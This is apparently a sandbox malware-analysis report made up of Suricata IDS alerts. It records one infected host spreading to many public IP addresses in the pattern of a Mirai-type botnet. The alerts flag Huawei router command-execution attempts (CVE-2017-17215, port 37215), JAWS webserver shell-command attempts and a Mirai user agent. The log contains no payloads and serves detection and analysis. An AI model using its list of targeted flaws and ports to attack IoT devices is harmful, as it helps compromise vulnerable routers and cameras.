Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59148 -> 197.130.192.70:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59892 -> 204.56.228.160:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59892 -> 204.56.228.160:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57318 -> 133.0.82.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57318 -> 133.0.82.188:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38272 -> 41.20.70.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37318 -> 156.89.76.175:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:41914 -> 79.66.242.179:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:41914 -> 79.66.242.179:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:40172 -> 89.132.129.138:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:40172 -> 89.132.129.138:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51132 -> 156.157.166.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49762 -> 41.194.128.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45670 -> 197.84.146.72:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:57718 -> 77.229.16.194:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:57718 -> 77.229.16.194:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34742 -> 106.197.42.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34742 -> 106.197.42.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48628 -> 65.141.2.74:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48628 -> 65.141.2.74:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38986 -> 197.87.93.111:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52476 -> 156.204.102.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53214 -> 41.165.112.211:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:34472 -> 112.148.199.5:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:34472 -> 112.148.199.5:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35208 -> 41.223.184.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33140 -> 41.103.141.219:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53380 -> 99.28.145.48:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53380 -> 99.28.145.48:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35242 -> 197.226.228.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52952 -> 41.86.163.65:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:53454 -> 98.144.159.93:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:53454 -> 98.144.159.93:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50240 -> 156.218.173.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35286 -> 197.184.152.155:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47798 -> 18.221.7.224:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47798 -> 18.221.7.224:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59222 -> 212.85.59.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59222 -> 212.85.59.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51886 -> 114.131.138.28:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51886 -> 114.131.138.28:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38486 -> 73.64.225.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38486 -> 73.64.225.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37630 -> 37.71.144.222:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37630 -> 37.71.144.222:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54374 -> 86.69.46.198:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54374 -> 86.69.46.198:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42830 -> 199.135.106.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33760 -> 124.87.65.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42830 -> 199.135.106.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33760 -> 124.87.65.15:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35644 -> 165.165.57.60:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42458 -> 186.142.7.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35644 -> 165.165.57.60:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51844 -> 91.86.172.154:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49734 -> 86.55.248.215:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59770 -> 167.129.217.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51844 -> 91.86.172.154:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33994 -> 84.208.1.101:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59770 -> 167.129.217.66:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33994 -> 84.208.1.101:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51336 -> 98.134.70.113:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51336 -> 98.134.70.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:60396 -> 121.157.234.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42458 -> 186.142.7.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49648 -> 57.43.246.87:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49648 -> 57.43.246.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35936 -> 169.80.201.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:60396 -> 121.157.234.15:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35936 -> 169.80.201.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49734 -> 86.55.248.215:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:48548 -> 114.227.81.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:48548 -> 114.227.81.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58540 -> 172.219.37.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58540 -> 172.219.37.233:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47690 -> 71.90.180.190:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47690 -> 71.90.180.190:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35028 -> 197.85.104.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35028 -> 197.85.104.233:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51700 -> 111.67.180.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51700 -> 111.67.180.251:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55752 -> 206.47.186.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55752 -> 206.47.186.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:38200 -> 203.169.27.126:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:38200 -> 203.169.27.126:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:59166 -> 50.171.166.111:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:59166 -> 50.171.166.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50106 -> 32.240.138.191:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50106 -> 32.240.138.191:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:56200 -> 158.29.113.80:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:56200 -> 158.29.113.80:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:43172 -> 27.58.7.60:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:43172 -> 27.58.7.60:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:47128 -> 134.239.180.253:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:47128 -> 134.239.180.253:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56570 -> 156.254.95.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42322 -> 41.81.171.216:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49726 -> 95.78.120.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49726 -> 95.78.120.226:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:33952 -> 166.217.206.166:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:33952 -> 166.217.206.166:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:46614 -> 66.189.124.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:46614 -> 66.189.124.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:44684 -> 187.131.184.148:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:44684 -> 187.131.184.148:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:51968 -> 149.30.119.250:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:51968 -> 149.30.119.250:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:50604 -> 162.132.54.19:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:50604 -> 162.132.54.19:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:58356 -> 4.150.126.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:58356 -> 4.150.126.235:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37694 -> 41.208.131.221:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:55154 -> 154.49.239.121:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:55154 -> 154.49.239.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36590 -> 76.37.39.165:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36590 -> 76.37.39.165:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:42398 -> 71.2.125.197:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:42398 -> 71.2.125.197:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60346 -> 41.133.222.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42664 -> 41.86.10.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36758 -> 41.153.44.241:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58904 -> 41.190.142.129:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40272 -> 41.11.253.155:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55476 -> 197.71.230.8:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33538 -> 197.233.59.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58790 -> 41.44.251.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45560 -> 197.237.226.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49890 -> 197.78.17.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34682 -> 197.221.254.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49232 -> 41.37.76.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51564 -> 41.151.19.223:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52014 -> 156.56.206.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41108 -> 41.176.87.120:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:37508 -> 103.136.14.42:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:37508 -> 103.136.14.42:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36188 -> 131.247.120.184:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36188 -> 131.247.120.184:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35344 -> 41.12.59.97:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39438 -> 197.211.136.231:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36744 -> 114.180.248.112:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36744 -> 114.180.248.112:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:32820 -> 197.219.41.237:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:32820 -> 197.219.41.237:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49098 -> 156.21.247.12:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:54782 -> 174.89.103.102:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:54782 -> 174.89.103.102:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49854 -> 41.233.50.156:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35366 -> 71.17.145.151:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35366 -> 71.17.145.151:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34482 -> 156.95.159.83:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:36688 -> 208.74.208.117:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:36688 -> 208.74.208.117:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49364 -> 201.95.105.187:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40356 -> 156.36.212.12:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49364 -> 201.95.105.187:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42918 -> 41.207.66.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52738 -> 41.208.164.30:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54284 -> 197.164.145.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44852 -> 41.168.250.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56866 -> 156.146.240.126:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35344 -> 41.12.59.97:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36698 -> 41.143.75.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49366 -> 156.119.5.151:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34668 -> 197.17.114.83:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:35930 -> 35.20.39.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:35930 -> 35.20.39.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.14:49340 -> 53.249.137.27:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.14:49340 -> 53.249.137.27:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55228 -> 41.138.6.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60750 -> 156.195.163.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47616 -> 197.71.38.157:37215
